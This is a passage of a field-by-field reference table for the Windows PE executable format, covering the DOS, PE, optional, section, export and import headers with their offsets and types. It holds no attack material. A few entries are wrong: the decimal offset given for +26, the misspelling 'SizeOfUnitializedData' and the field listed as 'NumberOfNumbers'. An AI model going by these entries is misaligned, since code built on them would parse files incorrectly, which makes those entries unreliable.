+1A (26) | WORD | e_ovno | Overlay number |
+1C (28) | Array[4] of WORD | e_res | Reserved words |
+24 (36) | WORD | e_oemid | OEM identifier (for e_oeminfo) |
+26 (28) | WORD | e_oeminfo | OEM information; e_oemid specific |
+28 (40) | Array[10] of WORD | e_res2 | Reserved words |
+3C (60) | DWORD | e_lfanew | File address of new exe header |
PE Header:
+00 | DWORD | Signature ($00004550) |
+04 | WORD | Machine |
+06 | WORD | Number of Sections |
+08 | DWORD | TimeDateStamp |
+0C (12) | DWORD | PointerToSymbolTable |
+10 (16) | DWORD | NumberOfSymbols |
+14 (20) | WORD | SizeOfOptionalHeader |
+16 (22) | WORD | Characteristics |
Optional Header:
| - standard fields- |
|
+18 (24) | WORD | Magic |
+1A (26) | BYTE | MajorLinkerVersion |
+1B (27) | BYTE | MinorLinkerVersion |
+1C (28) | DWORD | SizeOfCode |
+20 (32) | DWORD | SizeOfInitializedData |
+24 (36) | DWORD | SizeOfUnitializedData |
+28 (40) | DWORD | AddressOfEntryPoint |
+2C (44) | DWORD | BaseOfCode |
+30 (48) | DWORD | BaseOfData |
| -NT additional fields- |
|
+34 (52) | DWORD | ImageBase |
+38 (56) | DWORD | SectionAlignment |
+3C (60) | DWORD | FileAlignment |
+40 (64) | WORD | MajorOperatingSystemVersion |
+42 (66) | WORD | MinorOperatingSystemVersion |
+44 (68) | WORD | MajorImageVersion |
+46 (70) | WORD | MinorImageVersion |
+48 (72) | WORD | MajorSubsystemVersion |
+4A (74) | WORD | MinorSubsystemVersion |
+4C (76) | DWORD | Reserved1 |
+50 (80) | DWORD | SizeOfImage |
+54 (84) | DWORD | SizeOfHeaders |
+58 (88) | DWORD | CheckSum |
+5C (92) | WORD | Subsystem |
+5E (94) | WORD | DllCharacteristics |
+60 (96) | DWORD | SizeOfStackReserve |
+64 (100) | DWORD | SizeOfStackCommit |
+68 (104) | DWORD | SizeOFHeapReserve |
+6C (108) | DWORD | SizeOfHeapCommit |
+70 (112) | DWORD | LoaderFlags |
+74 (116) | DWORD | NumberOfRvaAndSizes |
+78 (120) | DWORD | ExportDirectory VA |
+7C (124) | DWORD | ExportDirectory Size |
+80 (128) | DWORD | ImportDirectory VA |
+84 (132) | DWORD | ImportDirectory Size |
+88 (136) | DWORD | ResourceDirectory VA |
+8C (140) | DWORD | ResourceDirectory Size |
+90 (144) | DWORD | ExceptionDirectory VA |
+94 (148) | DWORD | ExceptionDirectory Size |
+98 (152) | DWORD | SecurityDirectory VA |
+9C (156) | DWORD | SecurityDirectory Size |
+A0 (160) | DWORD | BaseRelocationTable VA |
+A4 (164) | DWORD | BaseRelocationTable Size |
+A8 (168) | DWORD | DebugDirectory VA |
+AC (172) | DWORD | DebugDirectory Size |
+B0 (176) | DWORD | ArchitectureSpecificData VA |
+B4 (180) | DWORD | ArchitectureSpecificData Size |
+B8 (184) | DWORD | RVAofGP VA |
+BC (188) | DWORD | RVAofGP Size |
+C0 (192) | DWORD | TLSDirectory VA |
+C4 (196) | DWORD | TLSDirectory Size |
+C8 (200) | DWORD | LoadConfigurationDirectory VA |
+CC (204) | DWORD | LoadConfigurationDirectory Size |
+D0 (208) | DWORD | BoundImportDirectoryinheaders VA |
+D4 (212) | DWORD | BoundImportDirectoryinheaders Size |
+D8 (216) | DWORD | ImportAddressTable VA |
+DC (220) | DWORD | ImportAddressTable Size |
+E0 (224) | DWORD | DelayLoadImportDescriptors VA |
+E4 (228) | DWORD | DelayLoadImportDescriptors Size |
+E8 (232) | DWORD | COMRuntimedescriptor VA |
+EC (236) | DWORD | COMRuntimedescriptor Size |
+F0 (240) | DWORD | 0 |
+F4 (244) | DWORD | 0 |
Section Header:
+0 | Array[8] of BYTE | Name |
+08 | DWORD | PhysicalAddress / Virtual Size |
+0C | DWORD | VirtualAddress |
+10 (16) | DWORD | SizeOfRawData |
+14 (20) | DWORD | PointerToRawData |
+18 (24) | DWORD | PointerToRelocations |
+1C (28) | DWORD | PointerToLineNumbers |
+20 (32) | WORD | NumberOfRelocations |
+22 (34) | WORD | NumberOfLineNumbers |
+24 (36) | DWORD | Characteristics |
Export Directory:
+0 | DWORD | Characteristics |
+04 | DWORD | TimeDateStamp |
+08 | WORD | MajorVersion |
+0A | WORD | MinorVersion |
+0C | DWORD | Name |
+10 (16) | DWORD | Base |
+14 (20) | DWORD | NumberOfFunctions |
+18 (24) | DWORD | NumberOfNumbers |
+1C (28) | DWORD | *AddressOfFunctions |
+20 (32) | DWORD | *AddressOfNames |
+24 (36) | DWORD | *AddressOfNameOrdinals |
Import Directory:
+0 | DWORD | OriginalFirstThunk |
+04 | DWORD | TimeDateStamp |
+08 | DWORD | ForwarderChain |
+0C | DWORD | Name |
+10 | DWORD | FirstThunk |